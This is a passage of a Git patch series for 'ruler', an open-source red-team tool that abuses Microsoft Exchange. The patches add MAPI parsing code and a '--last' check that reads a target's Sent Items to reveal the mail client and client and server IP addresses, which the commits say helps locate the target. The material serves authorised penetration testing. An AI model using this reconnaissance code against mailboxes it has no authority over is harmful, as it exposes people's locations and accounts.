[]byte) (int, error) { + pos := 0 + + readUserInfoResp.RopID, pos = utils.ReadByte(pos, resp) + readUserInfoResp.InputHandleIndex, pos = utils.ReadByte(pos, resp) + readUserInfoResp.ReturnValue, pos = utils.ReadUint32(pos, resp) + + if readUserInfoResp.ReturnValue != 0 { + return pos, &ErrorCode{readUserInfoResp.ReturnValue} + } + + readUserInfoResp.DataSize, pos = utils.ReadUint16(pos, resp) + readUserInfoResp.Data, pos = utils.ReadBytes(pos, int(readUserInfoResp.DataSize), resp) + return pos, nil +} + +//Unmarshal function to produce RopLongTermIDFromIDResponse struct +func (longTermID *RopLongTermIDFromIDResponse) Unmarshal(resp []byte) (int, error) { + pos := 0 + + longTermID.RopID, pos = utils.ReadByte(pos, resp) + longTermID.InputHandleIndex, pos = utils.ReadByte(pos, resp) + longTermID.ReturnValue, pos = utils.ReadUint32(pos, resp) + + if longTermID.ReturnValue != 0 { + return pos, &ErrorCode{longTermID.ReturnValue} + } + + longTermID.LongTermID, pos = utils.ReadBytes(pos, 24, resp) + + return pos, nil +} + //Unmarshal func func (ropContents *RopGetContentsTableResponse) Unmarshal(resp []byte) (int, error) { pos := 0 @@ -2014,6 +2125,14 @@ func (actionData *ActionData) Unmarshal(resp []byte) (int, error) { return pos, nil } +func (ropGetPropertiesSpecificResponse *RopGetPropertiesSpecificResponse) GetData() []PropertyRow { + return ropGetPropertiesSpecificResponse.RowData +} + +func (ropGetPropertiesAllResponse *RopGetPropertiesAllResponse) GetData() []PropertyRow { + return ropGetPropertiesAllResponse.PropertyValues +} + //Unmarshal func func (ropGetPropertiesSpecificResponse *RopGetPropertiesSpecificResponse) Unmarshal(resp []byte, columns []PropertyTag) (int, error) { pos := 0 @@ -2045,6 +2164,58 @@ func (ropGetPropertiesSpecificResponse *RopGetPropertiesSpecificResponse) Unmars return pos, nil } +//Unmarshal func +func (ropGetPropertiesAllResponse *RopGetPropertiesAllResponse) Unmarshal(resp []byte, columns []PropertyTag) (int, error) { + pos := 0 + ropGetPropertiesAllResponse.RopID, pos = utils.ReadByte(pos, resp) + ropGetPropertiesAllResponse.InputHandleIndex, pos = utils.ReadByte(pos, resp) + ropGetPropertiesAllResponse.ReturnValue, pos = utils.ReadUint32(pos, resp) + + if ropGetPropertiesAllResponse.ReturnValue != 0x000000 { + return pos, &ErrorCode{ropGetPropertiesAllResponse.ReturnValue} + } + ropGetPropertiesAllResponse.PropertyValueCount, pos = utils.ReadUint16(pos, resp) + var rows []PropertyRow + tpos := pos + var proptype, pid uint16 + for k := 0; k < int(ropGetPropertiesAllResponse.PropertyValueCount); k++ { + trow := PropertyRow{} + trow.Flag = 0 + //get propertytag - first type, then id + proptype, tpos = utils.ReadUint16(tpos, resp) + pid, tpos = utils.ReadUint16(tpos, resp) + trow.PropID = utils.EncodeNum(pid) + trow.PropType = utils.EncodeNum(proptype) + + if proptype == PtypInteger32 { + trow.ValueArray, tpos = utils.ReadBytes(tpos, 4, resp) + rows = append(rows, trow) + } else if proptype == PtypBoolean { + trow.ValueArray, tpos = utils.ReadBytes(tpos, 1, resp) + rows = append(rows, trow) + } else if proptype == PtypString || proptype == PtypString8 { + trow.ValueArray, tpos = utils.ReadUnicodeString(tpos, resp) + tpos++ + if len(trow.ValueArray) == 0 { + tpos++ + } + rows = append(rows, trow) + } else if proptype == PtypBinary { + cnt, p := utils.ReadUint16(tpos, resp) + tpos = p + trow.ValueArray, tpos = utils.ReadBytes(tpos, int(cnt), resp) + rows = append(rows, trow) + } else if proptype == PtypTime { + trow.ValueArray, tpos = utils.ReadBytes(tpos, 8, resp) + rows = append(rows, trow) + } + + } + pos = tpos + ropGetPropertiesAllResponse.PropertyValues = rows + return pos, nil +} + //Unmarshal func func (propTag *PropertyTag) Unmarshal(resp []byte) (int, error) { pos := 0 diff --git a/mapi/mapi.go b/mapi/mapi.go index 7aa6e61..d9079c3 100644 --- a/mapi/mapi.go +++ b/mapi/mapi.go @@ -133,7 +133,7 @@ func sendMapiRequest(mapi ExecuteRequest) (*ExecuteResponse, error) { return nil, err } } - //utils.Info.Println(string(rawResp)) + //utils.Debug.Println(string(rawResp)) executeResponse := ExecuteResponse{} executeResponse.Unmarshal(rawResp) return &executeResponse, nil @@ -503,6 +503,68 @@ func ReleaseObject(inputHandle byte) (*RopReleaseResponse, error) { return nil, ErrUnknown } +//ReadPerUserInformation issues a RopReleaseRequest to free a server handle to an object +func ReadPerUserInformation(folerID []byte) (*RopReadPerUserInformationResponse, error) { + execRequest := ExecuteRequest{} + execRequest.Init() + + readRequest := RopReadPerUserInformationRequest{RopID: 0x63, LogonID: AuthSession.LogonID, InputHandleIndex: 0x01} + readRequest.FolderID = folerID + readRequest.DataOffset = 0 + readRequest.MaxDataSize = 0xFF + + fullReq := readRequest.Marshal() + + execRequest.RopBuffer.ROP.ServerObjectHandleTable = []byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF} + execRequest.RopBuffer.ROP.RopsList = fullReq + + execResponse, err := sendMapiRequest(execRequest) + + if err != nil { + return nil, &TransportError{err} + } + + if execResponse.StatusCode != 255 { + readResponse := RopReadPerUserInformationResponse{} + if _, e := readResponse.Unmarshal(execResponse.RopBuffer[10:]); e != nil { + return nil, e + } + return &readResponse, nil + } + + return nil, ErrUnknown +} + +//GetLongTermIDFromID issues a request for the long term ID of an Object +func GetLongTermIDFromID(objectID []byte) (*RopLongTermIDFromIDResponse, error) { + execRequest := ExecuteRequest{} + execRequest.Init() + + longTermIDRequest := RopLongTermIDFromIDRequest{RopID: 0x43, LogonID: AuthSession.LogonID, InputHandleIndex: 0x01} + longTermIDRequest.ObjectID = objectID + + fullReq := longTermIDRequest.Marshal() + + execRequest.RopBuffer.ROP.ServerObjectHandleTable = []byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF} + execRequest.RopBuffer.ROP.RopsList = fullReq + + execResponse, err := sendMapiRequest(execRequest) + + if err != nil { + return nil, &TransportError{err} + } + + if execResponse.StatusCode != 255 { + longTermResponse := RopLongTermIDFromIDResponse{} + if _, e := longTermResponse.Unmarshal(execResponse.RopBuffer[10:]); e != nil { + return nil, e + } + return &longTermResponse, nil + } + + return nil, ErrUnknown +} + //SendExistingMessage sends a message that has already been created. This is essentially a RopSubmitMessage func SendExistingMessage(folderID, messageID []byte, recipient string) (*RopSubmitMessageResponse, error) { @@ -1956,7 +2018,7 @@ func GetFolderFromID(folderid []byte, columns []PropertyTag) (*RopOpenFolderResp getProperties.LogonID = AuthSession.LogonID getProperties.InputHandle = 0x01 getProperties.PropertySizeLimit = 0x00 - getProperties.WantUnicode = []byte{0x00, 0x01} + getProperties.WantUnicode = 0x01 getProperties.PropertyTagCount = uint16(len(columns)) getProperties.PropertyTags = columns @@ -2048,7 +2110,7 @@ func OpenMessage(folderid, messageid []byte) ([]byte, error) { } //GetMessage returns the specific fields from a message -func GetMessage(folderid, messageid []byte, columns []PropertyTag) (*RopGetPropertiesSpecificResponse, error) { +func GetMessage(folderid, messageid []byte, columns []PropertyTag) (GetProperties, error) { execRequest := ExecuteRequest{} execRequest.Init() @@ -2066,17 +2128,26 @@ func GetMessage(folderid, messageid []byte, columns []PropertyTag) (*RopGetPrope fullReq = append(fullReq, getMessage.Marshal()...) - getProperties := RopGetPropertiesSpecific{} - getProperties.RopID = 0x07 - getProperties.LogonID = AuthSession.LogonID - getProperties.InputHandle = 0x01 - getProperties.PropertySizeLimit = 0x00 - getProperties.WantUnicode = []byte{0x00, 0x01} - getProperties.PropertyTagCount = uint16(len(columns)) - getProperties.PropertyTags = columns - - fullReq = append(fullReq, getProperties.Marshal()...) + if columns != nil { + getProperties := RopGetPropertiesSpecific{} + getProperties.RopID = 0x07 + getProperties.LogonID = AuthSession.LogonID + getProperties.InputHandle = 0x01 + getProperties.PropertySizeLimit = 0x00 + getProperties.WantUnicode = 0x01 + getProperties.PropertyTagCount = uint16(len(columns)) + getProperties.PropertyTags = columns + fullReq = append(fullReq, getProperties.Marshal()...) + } else { + getPropertiesAll := RopGetPropertiesAllRequest{} + getPropertiesAll.RopID = 0x08 + getPropertiesAll.LogonID = AuthSession.LogonID + getPropertiesAll.InputHandle = 0x01 + getPropertiesAll.PropertySizeLimit = 0xFFFF + getPropertiesAll.WantUnicode = 0x01 + fullReq = append(fullReq, getPropertiesAll.Marshal()...) + } //queryRows := RopQueryRowsRequest{RopID: 0x15, LogonID: AuthSession.LogonID, InputHandle: 0x01, QueryRowsFlags: 0x00, ForwardRead: 0x01, RowCount: 0x32} //k = append(k, queryRows.Marshal()...) ropRelease = RopReleaseRequest{RopID: 0x01, LogonID: AuthSession.LogonID, InputHandle: 0x01} @@ -2109,12 +2180,20 @@ func GetMessage(folderid, messageid []byte, columns []PropertyTag) (*RopGetPrope } bufPtr += p - props := RopGetPropertiesSpecificResponse{} + if columns != nil { + props := RopGetPropertiesSpecificResponse{} + if _, e = props.Unmarshal(execResponse.RopBuffer[bufPtr:], columns); e != nil { + return nil, e + } + return &props, nil + } + + props := RopGetPropertiesAllResponse{} if _, e = props.Unmarshal(execResponse.RopBuffer[bufPtr:], columns); e != nil { return nil, e } - return &props, nil + } return nil, ErrUnknown @@ -2511,9 +2590,10 @@ func CreateFolderRequest(folderName string, hidden bool, ftype uint8) (*RopCreat //This function returns the subject and message id //For custom columns use GetContentsColumns func GetContents(folderid []byte) (*RopQueryRowsResponse, error) { - columns := make([]PropertyTag, 2) + columns := make([]PropertyTag, 3) columns[0] = PidTagSubject columns[1] = PidTagMid + columns[2] = PropertyTag{PtypString8, 0x80C7} return GetTableContents(folderid, false, columns) } diff --git a/ruler.go b/ruler.go index e8fb16c..df42a62 100644 --- a/ruler.go +++ b/ruler.go @@ -848,13 +848,15 @@ func searchFolders(c *cli.Context) error { restrict := mapi.AndRestriction{RestrictType: 0x00} restrict.RestrictCount = uint16(2) - //restrict subject + //restrict PidTagBody restrictContent := mapi.ContentRestriction{RestrictType: 0x03} restrictContent.FuzzyLevelLow = mapi.FLSUBSTRING restrictContent.FuzzyLevelHigh = mapi.FLIGNORECASE restrictContent.PropertyTag = mapi.PidTagBody restrictContent.PropertyValue = mapi.TaggedPropertyValue{PropertyTag: restrictContent.PropertyTag, PropertyValue: utils.UniString(c.String("term"))} + //restrict PidTagHTMLBody + restrictContent2 := mapi.ContentRestriction{RestrictType: 0x03} restrictContent2.FuzzyLevelLow = mapi.FLPREFIX restrictContent2.FuzzyLevelHigh = mapi.FLIGNORECASE @@ -879,6 +881,11 @@ func searchFolders(c *cli.Context) error { rows, err := mapi.GetContents(searchFolder) + if rows == nil { + utils.Info.Println("No results returned") + return nil + } + for k := 0; k < len(rows.RowData); k++ { messageSubject := utils.FromUnicode(rows.RowData[k][0].ValueArray) messageid := rows.RowData[k][1].ValueArray @@ -945,6 +952,56 @@ func checkFolder(folderName string) ([]byte, error) { return folderID, nil } +func checkLastSent() error { + //This gets the "Sent Items" folder and grabs the last sent message. + //Using the ClientInfo tag, we check who if this message was sent from Outlook or OWA + + //get the PropTag for ClientInfo + folderId := mapi.AuthSession.Folderids[mapi.SENT] + rows, err := mapi.GetContents(folderId) + + if err != nil { + return err + } + + if rows == nil { + return fmt.Errorf("Sent folder is empty") + } + //get most recent message + + //messageSubject := utils.FromUnicode(rows.RowData[k][0].ValueArray) + messageid := rows.RowData[0][1].ValueArray + + //for some reason getting named property tags isn't working for me. Maybe I'm an idiot + //so lets simply grab all tags. And then filter until we find one that starts with Client= + buff, err := mapi.GetMessage(folderId, messageid, nil) + if err != nil { + return err + } + //convert buffer to rows + for _, row := range buff.GetData() { + if utils.DecodeUint16(row.PropType) == mapi.PtypString { + clstring := utils.FromUnicode(row.ValueArray) + if len(row.ValueArray) > 12 && clstring[0:6] == "Client" { + if clstring[7:10] == "OWA" { + utils.Warning.Printf("Last message sent from OWA! User-Agent: %s\n", clstring[11:]) + } else { + utils.Info.Printf("Last message sent from: %s\n", clstring[7:]) + } + } + } + if utils.DecodeUint16(row.PropID) == 0x0039 { + t := (utils.DecodeUint64(row.ValueArray) - 116444736000000000) * 100 + x := time.Unix(0, int64(t)) + utils.Info.Printf("Last Message sent at: %s \n", x.UTC()) + + } + } + + return nil + +} + func main() { app := cli.NewApp() @@ -1165,13 +1222,25 @@ A tool by @_staaldraad from @sensepost to abuse Exchange Services.` Name: "check", Aliases: []string{"c"}, Usage: "Check if the credentials work and we can interact with the mailbox", + Flags: []cli.Flag{ + cli.BoolFlag{ + Name: "last", + Usage: "Returns information about the last client used to send an email", + }, + }, Action: func(c *cli.Context) error { err := connect(c) if err != nil { utils.Error.Println(err) cli.OsExiter(1) } + utils.Info.Println("Looks like we are good to go!") + + if c.Bool("last") == true { + err = checkLastSent() + } + exit(err) return nil }, }, diff --git a/utils/logging.go b/utils/logging.go index c6a3ec6..c73ab30 100644 --- a/utils/logging.go +++ b/utils/logging.go @@ -30,7 +30,7 @@ func Init( Debug = log.New(warningHandle, " ", 0) Fail = log.New(infoHandle, "[x] ", 0) Question = log.New(infoHandle, "[?] ", 0) - Warning = log.New(warningHandle, + Warning = log.New(infoHandle, "[WARNING] ", 0) Error = log.New(errorHandle, "ERROR: ", log.Ltime|log.Lshortfile) @@ -42,7 +42,7 @@ func Init( Debug = log.New(warningHandle, " ", 0) Fail = log.New(infoHandle, "\033[91m[x] \033[0m", 0) Question = log.New(infoHandle, "\033[91m[?] \033[0m", 0) - Warning = log.New(warningHandle, + Warning = log.New(infoHandle, "\033[91m[WARNING] \033[0m", 0) Error = log.New(errorHandle, "\033[31mERROR\033[0m: ", log.Ltime|log.Lshortfile) diff --git a/utils/utils.go b/utils/utils.go index 0b9d2ee..d5cc2a4 100644 --- a/utils/utils.go +++ b/utils/utils.go @@ -99,6 +99,14 @@ func UTF16BE(str string) []byte { return bt } +//DecodeInt64 decode 8 byte value into int64 +func DecodeInt64(num []byte) int64 { + var number int64 + bf := bytes.NewReader(num) + binary.Read(bf, binary.BigEndian, &number) + return number +} + //DecodeUint64 decode 4 byte value into uint32 func DecodeUint64(num []byte) uint64 { var number uint64 From 55388508039a74d4013c32b12a26c9e2b28e3cff Mon Sep 17 00:00:00 2001 From: Etienne Stalmans Date: Fri, 1 Sep 2017 17:55:12 +0200 Subject: [PATCH 15/35] Add basic check for IP addresses, could be useful for determining location of our target --- ruler.go | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/ruler.go b/ruler.go index df42a62..ccfc52b 100644 --- a/ruler.go +++ b/ruler.go @@ -978,6 +978,7 @@ func checkLastSent() error { if err != nil { return err } + var ips []string //convert buffer to rows for _, row := range buff.GetData() { if utils.DecodeUint16(row.PropType) == mapi.PtypString { @@ -988,16 +989,24 @@ func checkLastSent() error { } else { utils.Info.Printf("Last message sent from: %s\n", clstring[7:]) } + } else { + //lets see if it looks like an IP address + if strings.Count(clstring, ".") == 3 || strings.Count(clstring, ":") == 5 { + ips = append(ips, clstring) + } } } if utils.DecodeUint16(row.PropID) == 0x0039 { t := (utils.DecodeUint64(row.ValueArray) - 116444736000000000) * 100 x := time.Unix(0, int64(t)) utils.Info.Printf("Last Message sent at: %s \n", x.UTC()) - } } + for _, ip := range ips { + utils.Info.Printf("Found what looks like an IP address. Could be client or exchange server: %s\n", ip) + } + return nil } From 1af9e04b31ef283a329211598cc61ce2535ff5ba Mon Sep 17 00:00:00 2001 From: Etienne Stalmans Date: Mon, 4 Sep 2017 13:48:19 +0200 Subject: [PATCH 16/35] Add the RopGetNamesFromPropertyIdsRequest to retrieve the named properties on a message object. This allows us to use NamedProps instead of parsing values to figure out what it refers to. * Allows us to find / reference ["ClientInfo", "x-ms-exchange-organization-originalclientipaddress", "x-ms-exchange-organization-originalserveripaddress"] properties directly * Ruler now outputs the client and server IP addresses, if available. Might be useful in finding where the target is (home network vs work network vs starbucks) --- mapi/datastructs.go | 58 ++++++++++++++++++++++++++++++++++++++++++++ mapi/mapi.go | 59 +++++++++++++++++++++++++++++++++++++++++++++ ruler.go | 49 +++++++++++++++++++++++-------------- 3 files changed, 148 insertions(+), 18 deletions(-) diff --git a/mapi/datastructs.go b/mapi/datastructs.go index c131228..5b519ad 100644 --- a/mapi/datastructs.go +++ b/mapi/datastructs.go @@ -270,6 +270,7 @@ type RopGetPropertyIdsFromNamesRequest struct { PropertyNames []PropertyName } +//GetProperties interface allowing both RopgetPropertyIdsFromName and RopGetProperties to be used type GetProperties interface { Unmarshal([]byte, []PropertyTag) (int, error) GetData() []PropertyRow @@ -284,6 +285,24 @@ type RopGetPropertyIdsFromNamesResponse struct { PropertyIds []byte //16 byte guids } +//RopGetNamesFromPropertyIdsRequest request to get the named property values from a list of property ids +type RopGetNamesFromPropertyIdsRequest struct { + RopID uint8 //0x55 + LogonID uint8 + InputHandleIndex uint8 + PropertyIDCount uint16 + PropertyIDs []byte +} + +//RopGetNamesFromPropertyIdsResponse response containing property names based on their ids +type RopGetNamesFromPropertyIdsResponse struct { + RopID uint8 //0x55 + InputHandleIndex uint8 + ReturnValue uint32 + PropertyNameCount uint16 + PropertyNames []PropertyName +} + //RopGetPropertiesSpecific struct to get propertiesfor a folder type RopGetPropertiesSpecific struct { RopID uint8 //0x07 @@ -1328,6 +1347,11 @@ func (getIds RopGetPropertyIdsFromNamesRequest) Marshal() []byte { return utils.BodyToBytes(getIds) } +//Marshal turn RopGetNamesFromPropertyIdsRequest into Bytes +func (getNames RopGetNamesFromPropertyIdsRequest) Marshal() []byte { + return utils.BodyToBytes(getNames) +} + //Unmarshal function to convert response into ConnectResponse struct func (connResponse *ConnectResponse) Unmarshal(resp []byte) error { pos := 0 @@ -1675,6 +1699,40 @@ func (getPropertiesResponse *RopGetPropertyIdsFromNamesResponse) Unmarshal(resp return pos, nil } +//Unmarshal function to produce RopGetNamesFromPropertyIdsResponse struct +func (getNamesResponse *RopGetNamesFromPropertyIdsResponse) Unmarshal(resp []byte) (int, error) { + pos := 0 + + getNamesResponse.RopID, pos = utils.ReadByte(pos, resp) + getNamesResponse.InputHandleIndex, pos = utils.ReadByte(pos, resp) + getNamesResponse.ReturnValue, pos = utils.ReadUint32(pos, resp) + + if getNamesResponse.ReturnValue != 0 { + return pos, &ErrorCode{getNamesResponse.ReturnValue} + } + + getNamesResponse.PropertyNameCount, pos = utils.ReadUint16(pos, resp) + getNamesResponse.PropertyNames = make([]PropertyName, int(getNamesResponse.PropertyNameCount)) + tpos := pos + ///read propertyNames here + for i := 0; i < int(getNamesResponse.PropertyNameCount); i++ { + getNamesResponse.PropertyNames[i] = PropertyName{} + getNamesResponse.PropertyNames[i].Kind, tpos = utils.ReadByte(tpos, resp) + getNamesResponse.PropertyNames[i].GUID, tpos = utils.ReadBytes(tpos, 16, resp) + switch getNamesResponse.PropertyNames[i].Kind { + case 0x00: + getNamesResponse.PropertyNames[i].LID, tpos = utils.ReadBytes(tpos, 4, resp) + case 0x01: + getNamesResponse.PropertyNames[i].NameSize, tpos = utils.ReadBytes(tpos, 1, resp) + getNamesResponse.PropertyNames[i].Name, tpos = utils.ReadBytes(tpos, int(utils.DecodeUint8(getNamesResponse.PropertyNames[i].NameSize)), resp) + //case 0xFF: + } + } + pos = tpos + + return pos, nil +} + //Unmarshal function to produce RopFastTransferSourceGetBufferResponse struct func (buffResponse *RopFastTransferSourceGetBufferResponse) Unmarshal(resp []byte) (int, error) { pos := 0 diff --git a/mapi/mapi.go b/mapi/mapi.go index d9079c3..83fee70 100644 --- a/mapi/mapi.go +++ b/mapi/mapi.go @@ -133,6 +133,7 @@ func sendMapiRequest(mapi ExecuteRequest) (*ExecuteResponse, error) { return nil, err } } + //debug flag //utils.Debug.Println(string(rawResp)) executeResponse := ExecuteResponse{} executeResponse.Unmarshal(rawResp) @@ -906,6 +907,64 @@ func GetPropertyIds(folderid, messageid []byte, propids []PropertyName) (*RopGet return nil, ErrUnknown } +//GetPropertyNamesFromID returns the property names for a set of ids +func GetPropertyNamesFromID(folderid, messageid, propids []byte, idcount int) (*RopGetNamesFromPropertyIdsResponse, error) { + + execRequest := ExecuteRequest{} + execRequest.Init() + + getMessage := RopOpenMessageRequest{RopID: 0x03, LogonID: AuthSession.LogonID} + getMessage.InputHandle = 0x00 + getMessage.OutputHandle = 0x01 + getMessage.FolderID = folderid + getMessage.MessageID = messageid + getMessage.CodePageID = 0xFFF + getMessage.OpenModeFlags = 0x03 + + fullReq := getMessage.Marshal() + + getPropNames := RopGetNamesFromPropertyIdsRequest{RopID: 0x55, LogonID: AuthSession.LogonID, InputHandleIndex: 0x01} + getPropNames.PropertyIDCount = uint16(idcount) + getPropNames.PropertyIDs = propids + + fullReq = append(fullReq, getPropNames.Marshal()...) + + execRequest.RopBuffer.ROP.RopsList = fullReq + execRequest.RopBuffer.ROP.ServerObjectHandleTable = []byte{0x00, 0x00, 0x00, AuthSession.LogonID, 0xFF, 0xFF, 0xFF, 0xFF} + + //fetch folder + execResponse, err := sendMapiRequest(execRequest) + + if err != nil { + return nil, &TransportError{err} + } + + if execResponse.StatusCode != 255 { + + bufPtr := 10 + + if execResponse.RopBuffer[bufPtr : bufPtr+1][0] != 0x03 { + bufPtr += 4 + } + var p int + var e error + + getMessageResponse := RopOpenMessageResponse{} + + if p, e = getMessageResponse.Unmarshal(execResponse.RopBuffer[bufPtr:]); e != nil { + return nil, e + } + + bufPtr += p + + getPropNamesResp := RopGetNamesFromPropertyIdsResponse{} + _, e = getPropNamesResp.Unmarshal(execResponse.RopBuffer[bufPtr:]) + return &getPropNamesResp, e + } + + return nil, ErrUnknown +} + //SetSearchCriteria function is used to set the search criteria on a folder or set of folders func SetSearchCriteria(folderids, searchFolder []byte, restrictions Restriction) (*RopSetSearchCriteriaResponse, error) { execRequest := ExecuteRequest{} diff --git a/ruler.go b/ruler.go index ccfc52b..afb5b10 100644 --- a/ruler.go +++ b/ruler.go @@ -978,35 +978,48 @@ func checkLastSent() error { if err != nil { return err } - var ips []string - //convert buffer to rows - for _, row := range buff.GetData() { - if utils.DecodeUint16(row.PropType) == mapi.PtypString { - clstring := utils.FromUnicode(row.ValueArray) - if len(row.ValueArray) > 12 && clstring[0:6] == "Client" { + + var props []byte + idcount := 0 + + propRows := buff.GetData() + + //Get property names for rows + for _, row := range propRows { + props = append(props, row.PropID...) + idcount++ + } + + propNames, e := mapi.GetPropertyNamesFromID(folderId, messageid, props, idcount) + + if e != nil { + return e + } + + for i, p := range propNames.PropertyNames { + if p.Kind == 0x01 { + pName := utils.FromUnicode(p.Name) + if pName == "ClientInfo" { + clstring := utils.FromUnicode(propRows[i].ValueArray) if clstring[7:10] == "OWA" { utils.Warning.Printf("Last message sent from OWA! User-Agent: %s\n", clstring[11:]) } else { utils.Info.Printf("Last message sent from: %s\n", clstring[7:]) } - } else { - //lets see if it looks like an IP address - if strings.Count(clstring, ".") == 3 || strings.Count(clstring, ":") == 5 { - ips = append(ips, clstring) - } + } else if pName == "x-ms-exchange-organization-originalclientipaddress" { + utils.Info.Printf("Client IP Address: %s\n", utils.FromUnicode(propRows[i].ValueArray)) + } else if pName == "x-ms-exchange-organization-originalserveripaddress" { + utils.Info.Printf("Exchange Server IP: %s\n", utils.FromUnicode(propRows[i].ValueArray)) } + } - if utils.DecodeUint16(row.PropID) == 0x0039 { - t := (utils.DecodeUint64(row.ValueArray) - 116444736000000000) * 100 + if utils.DecodeUint16(propRows[i].PropID) == 0x0039 { + t := (utils.DecodeUint64(propRows[i].ValueArray) - 116444736000000000) * 100 x := time.Unix(0, int64(t)) utils.Info.Printf("Last Message sent at: %s \n", x.UTC()) } } - for _, ip := range ips { - utils.Info.Printf("Found what looks like an IP address. Could be client or exchange server: %s\n", ip) - } - return nil } @@ -1017,7 +1030,7 @@ func main() { app.Name = "ruler" app.Usage = "A tool to abuse Exchange Services" - app.Version = "2.1.6" + app.Version = "2.1.9" app.Author = "Etienne Stalmans , @_staaldraad" app.Description = ` _ _ __ _ _| | ___ _ __ From 89b36c6226550051403099186d84e48fa982b795 Mon Sep 17 00:00:00 2001 From: Etienne Stalmans Date: Mon, 4 Sep 2017 22:41:00 +0200 Subject: [PATCH 17/35] This fixes the ```--last``` check to work with RPC/HTTP. There was a problem with the initial implementation, where the GetAllProperties function would return an object that was too large for our RPC implementation. This would result in an empty value being parsed and a crash. The fix includes * Introduction of GetPropertyIdsList which leverages the RopGetPropertiesList request to retrieve a list of property IDs associated with an object. These values are then passed to GetPropertyNamesFromID. The result of this function call, the named properties, is then parsed to pull out the relevant properties we want. The property IDs are then used in the GetMessage call, as the columns to return. These are in-turn read from the result and parsed to display the bits we need. --- forms/rulerforms.go | 2 +- mapi/datastructs.go | 62 ++++++++++++++++++++++++++++++++++++++---- mapi/mapi.go | 62 +++++++++++++++++++++++++++++++++++++++--- ruler.go | 65 +++++++++++++++++++++++++++++---------------- 4 files changed, 158 insertions(+), 33 deletions(-) diff --git a/forms/rulerforms.go b/forms/rulerforms.go index f14a8fc..b3b9674 100644 --- a/forms/rulerforms.go +++ b/forms/rulerforms.go @@ -104,7 +104,7 @@ func CreateFormMessage(suffix, assocRule string) ([]byte, error) { propertyTagx[6] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagSendOutlookRecallReport, PropertyValue: []byte{0xFF}} //set to true for form to be hidden :) propertyTagx[7] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTag6830, PropertyValue: append([]byte("&Open"), []byte{0x00}...)} propertyTagx[8] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagComment, PropertyValue: utils.UniString(assocRule)} //set this to indicate that a rule is present for this form - propertyTagx[9] = mapi.TaggedPropertyValue{mapi.PidTagHidden, []byte{0x01}} + propertyTagx[9] = mapi.TaggedPropertyValue{PropertyTag: mapi.PidTagHidden, PropertyValue: []byte{0x01}} //create the message in the "associated" contents table for the inbox msg, err := mapi.CreateAssocMessage(folderid, propertyTagx) diff --git a/mapi/datastructs.go b/mapi/datastructs.go index 5b519ad..016d298 100644 --- a/mapi/datastructs.go +++ b/mapi/datastructs.go @@ -303,6 +303,22 @@ type RopGetNamesFromPropertyIdsResponse struct { PropertyNames []PropertyName } +//RopGetPropertiesListRequest get a list or properties on an object +type RopGetPropertiesListRequest struct { + RopID uint8 //0x09 + LogonID uint8 // + InputHandleIndex uint8 +} + +//RopGetPropertiesListResponse get a list of properties on an object +type RopGetPropertiesListResponse struct { + RopID uint8 //0x09 + InputHandleIndex uint8 + ReturnValue uint32 + PropertyTagCount uint16 + PropertyTags []PropertyTag +} + //RopGetPropertiesSpecific struct to get propertiesfor a folder type RopGetPropertiesSpecific struct { RopID uint8 //0x07 @@ -1207,6 +1223,11 @@ func (getProps RopGetPropertiesAllRequest) Marshal() []byte { return utils.BodyToBytes(getProps) } +//Marshal turn RopGetPropertiesListRequest into Bytes +func (getProps RopGetPropertiesListRequest) Marshal() []byte { + return utils.BodyToBytes(getProps) +} + //Marshal turn RopGetContentsTableRequest into Bytes func (getContentsTable RopGetContentsTableRequest) Marshal() []byte { return utils.BodyToBytes(getContentsTable) @@ -2204,24 +2225,55 @@ func (ropGetPropertiesSpecificResponse *RopGetPropertiesSpecificResponse) Unmars var rows []PropertyRow for _, property := range columns { trow := PropertyRow{} + trow.PropID = utils.EncodeNum(property.PropertyID) trow.Flag, pos = utils.ReadByte(pos, resp) if property.PropertyType == PtypInteger32 { - trow.ValueArray, pos = utils.ReadBytes(pos, 2, resp) - rows = append(rows, trow) - } else if property.PropertyType == PtypString { + trow.ValueArray, pos = utils.ReadBytes(pos, 4, resp) + } else if property.PropertyType == PtypBoolean { + trow.ValueArray, pos = utils.ReadBytes(pos, 1, resp) + } else if property.PropertyType == PtypString || property.PropertyType == PtypString8 { trow.ValueArray, pos = utils.ReadUnicodeString(pos, resp) - rows = append(rows, trow) + //pos++ + if len(trow.ValueArray) == 0 { + pos++ + } } else if property.PropertyType == PtypBinary { cnt, p := utils.ReadByte(pos, resp) pos = p trow.ValueArray, pos = utils.ReadBytes(pos, int(cnt), resp) - rows = append(rows, trow) + } else if property.PropertyType == PtypTime { + trow.ValueArray, pos = utils.ReadBytes(pos, 8, resp) + } + rows = append(rows, trow) } ropGetPropertiesSpecificResponse.RowData = rows return pos, nil } +//Unmarshal func +func (getPropertiesListResp *RopGetPropertiesListResponse) Unmarshal(resp []byte) (int, error) { + pos := 0 + getPropertiesListResp.RopID, pos = utils.ReadByte(pos, resp) + getPropertiesListResp.InputHandleIndex, pos = utils.ReadByte(pos, resp) + getPropertiesListResp.ReturnValue, pos = utils.ReadUint32(pos, resp) + + if getPropertiesListResp.ReturnValue != 0x000000 { + return pos, &ErrorCode{getPropertiesListResp.ReturnValue} + } + getPropertiesListResp.PropertyTagCount, pos = utils.ReadUint16(pos, resp) + getPropertiesListResp.PropertyTags = make([]PropertyTag, int(getPropertiesListResp.PropertyTagCount)) + tpos := pos + ///read propertyNames here + for i := 0; i < int(getPropertiesListResp.PropertyTagCount); i++ { + getPropertiesListResp.PropertyTags[i] = PropertyTag{} + getPropertiesListResp.PropertyTags[i].PropertyType, tpos = utils.ReadUint16(tpos, resp) + getPropertiesListResp.PropertyTags[i].PropertyID, tpos = utils.ReadUint16(tpos, resp) + } + pos = tpos + return pos, nil +} + //Unmarshal func func (ropGetPropertiesAllResponse *RopGetPropertiesAllResponse) Unmarshal(resp []byte, columns []PropertyTag) (int, error) { pos := 0 diff --git a/mapi/mapi.go b/mapi/mapi.go index 83fee70..be251a5 100644 --- a/mapi/mapi.go +++ b/mapi/mapi.go @@ -907,6 +907,63 @@ func GetPropertyIds(folderid, messageid []byte, propids []PropertyName) (*RopGet return nil, ErrUnknown } +//GetPropertyIdsList returns the list of properties on a message +func GetPropertyIdsList(folderid, messageid 